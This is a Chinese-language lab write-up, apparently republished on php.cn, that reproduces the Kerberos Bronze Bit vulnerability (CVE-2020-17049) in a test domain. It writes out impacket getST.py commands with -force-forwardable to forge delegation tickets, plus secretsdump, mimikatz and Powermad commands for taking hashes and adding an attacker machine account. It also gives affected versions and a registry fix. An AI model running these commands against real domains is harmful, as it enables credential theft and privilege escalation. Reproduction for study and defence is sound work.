0

0

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

絕刀狂花

絕刀狂花

发布时间:2025-09-01 08:36:12

|

916人浏览过

|

来源于php中文网

原创

这个漏洞的作用是允许攻击者攻击“受保护组”或设置了“敏感用户,禁止委派”的用户,或者攻击设置了“仅信任该计算机来委派指定的服务-->仅使用kerberos”的机器。

攻击的基本思路如下:

  1. 攻击者已经获取了域内某台机器的权限。
  2. 攻击者拥有域内服务的hash,称为service1。hash可以通过DC Sync attacks、Kerberoasting,甚至是使用Powermad注册SPN的方式来获得。
  3. service1对域内的其他服务拥有约束委派关系。其配置可能如下:(1)service2在service1的AllowedToDelegateTo列表中;(2)service1在service2的PrincipalsAllowedToDelegateToAccount列表中,且攻击者对service2有GenericAll、GenericWrite、WriteOwner等权限。
  4. 攻击者利用该漏洞获取service2的Kerberos票据。
  5. 攻击者利用票据攻击service2。

漏洞原理:

在之前的利用方法中,如果我们已经拥有了一个service1的hash,想要获取service2的权限,可以使用getST.py程序执行S4U交换来获取目标的TGT。如果其配置了“TrustedToAuthForDelegation”,且用户未受保护,其流程如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

但如果其设置了仅Kerberos或受保护的组,则不会成功。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

漏洞作者为工具增加了-force-forwardable参数,使其成为了可能。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

这个GIF直观地显示了该过程:https://www.php.cn/link/b229ed523ffbcc8c48d47eb8bcd760c6

漏洞复现:

网络拓扑环境如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

Example Attack1:

环境配置如下:

server1设置如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

user2设置:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

开始攻击:

首先访问server2,确认无法直接连接到server。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后我们需要获取server1的机器账户的AES256-CTS-HMAC-SHA1-96和LM:NTLM hash。在作者的复现过程中使用的是secretsdump.py来操作的:

python .\impacket\examples\secretsdump.py 'test/user1:@Service1.test.local'

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

但在测试过程中,发现并不可以这样操作。也有可能是操作有问题,于是换成了mimikatz的ekeys来操作:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

或者为了复现方便,提升到高权限操作:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

发现,并不能获取user2的TGT,而加上参数之后,则可以成功获取:

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1 -force-forwardable

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后我们注入该票据:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

抠抠图
抠抠图

免费在线AI智能批量抠图,AI图片编辑,智能印花提取。

下载

不过我们这里的是host的票据,我们一般需要的是cifs,按照刚才的步骤再走一遍就ok了。

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

此时便拥有了对目标的访问权限。

Example Attack2:

环境配置如下:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

开始攻击:

Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:

"kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local"
exit

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:

Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后:

Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后获取TGT:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

然后注入票据即可:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

写在后面:

由于时间问题,并未对原理进行研究,只是简单进行了复现,有兴趣者可自行抓包分析。

漏洞影响版本:

Windows Server 2012 Windows Server 2012 R2 Windows Server 2016 Windows Server 2019 Windows Server, version 1903 Windows Server, version 1909 Windows Server, version 2004 Windows Server, version 20H2

修复方案:

将HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc的PerformTicketSignature设置为1:

CVE-2020-17049 Kerberos Bronze Bit 攻击复现

参考文章:

https://www.php.cn/link/88223ade11c861267dccbc28768b5003

https://www.php.cn/link/1dfbac99bfb6d351efe1814d7339e9d9

https://www.php.cn/link/86505d8e6c39805306cede26cd66cb6c

https://www.php.cn/link/25b62af6237fd079d6a230f011a0ff26

https://www.php.cn/link/2715c65820c839c31c44eb38bddf613f

相关专题

更多
windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

576

2023.07.26

查看端口占用情况windows
查看端口占用情况windows

端口占用是指与端口关联的软件占用端口而使得其他应用程序无法使用这些端口,端口占用问题是计算机系统编程领域的一个常见问题,端口占用的根本原因可能是操作系统的一些错误,服务器也可能会出现端口占用问题。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

1102

2023.07.27

windows照片无法显示
windows照片无法显示

当我们尝试打开一张图片时,可能会出现一个错误提示,提示说"Windows照片查看器无法显示此图片,因为计算机上的可用内存不足",本专题为大家提供windows照片无法显示相关的文章,帮助大家解决该问题。

790

2023.08.01

windows查看端口被占用的情况
windows查看端口被占用的情况

windows查看端口被占用的情况的方法:1、使用Windows自带的资源监视器;2、使用命令提示符查看端口信息;3、使用任务管理器查看占用端口的进程。本专题为大家提供windows查看端口被占用的情况的相关的文章、下载、课程内容,供大家免费下载体验。

452

2023.08.02

windows无法访问共享电脑
windows无法访问共享电脑

在现代社会中,共享电脑是办公室和家庭的重要组成部分。然而,有时我们可能会遇到Windows无法访问共享电脑的问题。这个问题可能会导致数据无法共享,影响工作和生活的正常进行。php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

2348

2023.08.08

windows自动更新
windows自动更新

Windows操作系统的自动更新功能可以确保系统及时获取最新的补丁和安全更新,以提高系统的稳定性和安全性。然而,有时候我们可能希望暂时或永久地关闭Windows的自动更新功能。php中文网给大家带来了相关的教程以及文章,欢迎大家前来学习阅读。

777

2023.08.10

windows boot manager
windows boot manager

windows boot manager无法开机的解决方法:1、系统文件损坏,使用Windows安装光盘或USB启动盘进入恢复环境,选择修复计算机,然后选择自动修复;2、引导顺序错误,进入恢复环境,选择命令提示符,输入命令"bootrec /fixboot"和"bootrec /fixmbr",然后重新启动计算机;3、硬件问题,使用硬盘检测工具进行扫描和修复;4、重装操作系统。本专题还提供其他解决

1488

2023.08.28

windows锁屏快捷键
windows锁屏快捷键

windows锁屏快捷键是Windows键+L、Ctrl+Alt+Del、Windows键+D、Windows键+P和Windows键+R。本专题为大家提供windows相关的文章、下载、课程内容,供大家免费下载体验。

1626

2023.08.30

高德地图升级方法汇总
高德地图升级方法汇总

本专题整合了高德地图升级相关教程,阅读专题下面的文章了解更多详细内容。

9

2026.01.16

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
最新Python教程 从入门到精通
最新Python教程 从入门到精通

共4课时 | 2.2万人学习

Django 教程
Django 教程

共28课时 | 3.2万人学习

SciPy 教程
SciPy 教程

共10课时 | 1.1万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号